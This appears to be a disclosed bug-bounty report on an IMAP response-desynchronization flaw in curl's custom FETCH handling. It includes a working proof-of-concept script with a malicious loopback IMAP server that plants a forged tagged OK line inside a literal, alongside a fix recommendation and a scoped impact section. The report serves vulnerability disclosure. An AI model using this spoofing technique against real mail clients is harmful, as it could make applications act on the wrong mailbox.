HexBrain

curl · Report #4021854

IMAP custom FETCH literals can spoof tagged responses and desynchronize reused connections

Duplicatestatus
6upvotes
15 Oct 2026disclosed

How it was found

Summary

There is an IMAP parser vulnerability, related to a custom FETCH whose message set begins with a range or comma, is_custom_fetch_listing() causes imap_state_listsearch_resp() to skip literal parsing (lib/imap.c:1233-1235).

The generic ping-pong reader nevertheless continues parsing the response as newline-delimited IMAP responses. Consequently, a line inside an attacker-controlled literal that matches curl's current response tag, such as A004 OK, is accepted by imap_endofresp() as the command completion response.

Curl can therefore report a custom FETCH successful even when the server's actual tagged response is NO. The declared literal and the genuine response remain buffered. Because this path does not set data->req.maxdownload, imap_done() does not perform the custom FETCH final-response handling, and the connection can remain reusable with stale protocol data in the IMAP ping-pong buffer.

Technical details

is_custom_fetch_listing() recognizes inputs such as:

FETCH 1:* (BODY[])
FETCH 1,2,3 (FLAGS)
UID FETCH 1:* (BODY[])

When the server sends a FETCH response containing a literal, the branch at lib/imap.c:1233-1235 does nothing. Curl_pp_readresp() then scans the literal body line by line. imap_endofresp() checks for the current tag before distinguishing protocol response boundaries and accepts any line beginning with the tag followed by a space; it only needs the first two status characters to be OK.

For example, the following literal content can terminate command A004 early:

X
A004 OK FORGED-BY-ATTACKER
TRAILER

The server's genuine A004 NO ... response is left unread or buffered. The same mechanism can leave a forged next-command tag in the buffer, allowing a later command to receive a false completion response.

Proof of concept

The following reproducer was tested against audit revision e5e1c356107ea4f8208757deb69776d94496cfae.

Run the exploit and control modes as indicated.

https://github.com/curl/curl.git at e5e1c356107ea4f8208757deb69776d94496cfae
checkout: /src
privilege required: LOCAL. This was proved by running the built program; no network principal or login is involved.
run:      sh /poc-scratch/reproduce.sh exploit
control (script_mode): sh /poc-scratch/reproduce.sh control

pre_run.sh (run once)

apt-get update && apt-get install -y --no-install-recommends python3

reproduce.sh

#!/bin/sh
# IMAP literal/protocol desync in curl (lib/imap.c custom FETCH listing branch).
# Override the loopback port with VF_IMAP_PORT if 14399 is taken.
MODE="$1"
PORT="${VF_IMAP_PORT:-14399}"
WORK="$(mktemp -d)"

cat > "$WORK/srv.py" <<'PY'
import socket, threading, sys
PORT=int(sys.argv[1]); MODE=sys.argv[2]
def handle(c):
    f=c.makefile('rwb', buffering=0)
    def send(s): f.write(s.encode())
    send("* OK IMAP4rev1 ready\r\n")
    while True:
        l=f.readline()
        if not l: break
        line=l.decode('latin1'); p=line.split()
        if len(p)<2: continue
        tag,cmd=p[0],p[1].upper()
        if cmd=="CAPABILITY":
            send("* CAPABILITY IMAP4rev1 \r\n"); send(tag+" OK done\r\n")
        elif cmd=="LOGIN": send(tag+" OK done\r\n")
        elif cmd in ("SELECT","EXAMINE"):
            send("* 3 EXISTS\r\n* OK [UIDVALIDITY 1]\r\n"); send(tag+" OK [READ-WRITE] done\r\n")
        elif cmd=="FETCH":
            # Attacker-controlled literal body. In exploit mode it embeds a line
            # matching curl's current tag for this command (for example,
            # A004 OK).
            if MODE=="exploit":
                body="X\r\n"+tag+" OK FORGED-BY-ATTACKER\r\nTRAILER\r\n"
            else:
                body="X\r\nZZZ9 OK HARMLESS-NO-MATCH\r\nTRAILER\r\n"
            send("* 1 FETCH (BODY[] {%d}\r\n" % len(body)); send(body)
            # The server's real verdict: it rejected the fetch.
            send(tag+" NO server actually rejected the fetch\r\n")
        else: send(tag+" OK done\r\n")
    try: c.close()
    except Exception: pass
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("127.0.0.1",PORT)); s.listen(8)
while True:
    cc,_=s.accept(); threading.Thread(target=handle,args=(cc,),daemon=True).start()
PY

python3 "$WORK/srv.py" "$PORT" "$MODE" 2>/dev/null &
SRV=$!

# Wait until the loopback IMAP server is accepting connections.
i=0
while ! python3 -c "import socket,sys; s=socket.socket(); sys.exit(0 if s.connect_ex(('127.0.0.1',$PORT))==0 else 1)" 2>/dev/null; do
  i=$((i+1)); [ "$i" -gt 50 ] && { echo "server-not-ready"; kill -9 $SRV 2>/dev/null; exit 3; }
  sleep 0.2
done

# Everything is up and the shipped curl is about to run: signal readiness.
: > "${VF_READY:-/dev/null}"

# Exercise the shipped curl binary exactly once. Its exit code is the observable:
# 0  => curl believed the custom FETCH succeeded (spoofed by the literal)
# !0 => curl honored the server's real "NO" rejection.
timeout 30 curl -s --url "imap://127.0.0.1:$PORT/INBOX" -u user:pass -X "FETCH 1:* (BODY[])" >/dev/null 2>&1
rc=$?

kill -9 $SRV 2>/dev/null
echo "CURL_EXIT=$rc"
exit "$rc"

Expected result:

  • exploit: curl exits 0.
  • control: curl exits nonzero.

Recommendation

Do not classify custom FETCH as line-only based solely on its message-set syntax. Every FETCH response should parse and consume literals by their declared byte length before recognizing response lines.

If arbitrary multi-literal custom FETCH responses are not supported, reject them or mark the connection non-reusable as soon as an unconsumed literal is detected. Add regression tests containing current and subsequent command tags inside literals, including tests that reuse the connection for a later SELECT, FETCH, STORE, or EXPUNGE.

Impact

The direct impact is response desynchronization and false command status, not arbitrary command injection. On a reused connection, leftover literal or response bytes can be consumed as the response to a later command.

A security-relevant consumer scenario is cross-mailbox confusion: an application could fetch attacker-controlled content from mailbox A, then select mailbox B and perform a sensitive operation. A forged tagged line left in the connection buffer could make curl believe the SELECT B succeeded when it did not, causing the following operation to execute against the server's still-selected mailbox A while the application believes it is operating on B.

This requires all of the following:

  • the application uses the affected custom range/comma FETCH form;
  • the IMAP connection is reused for a later command;
  • an attacker can control literal content, or the server is malicious;
  • the consuming application treats curl's command result as security-relevant.

A malicious IMAP server can already lie about its own response, so a one-shot request to a malicious server does not by itself demonstrate an additional privilege escalation. The distinct issue is that literal data from an otherwise honest server can cross into the command-response state machine and contaminate later operations.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original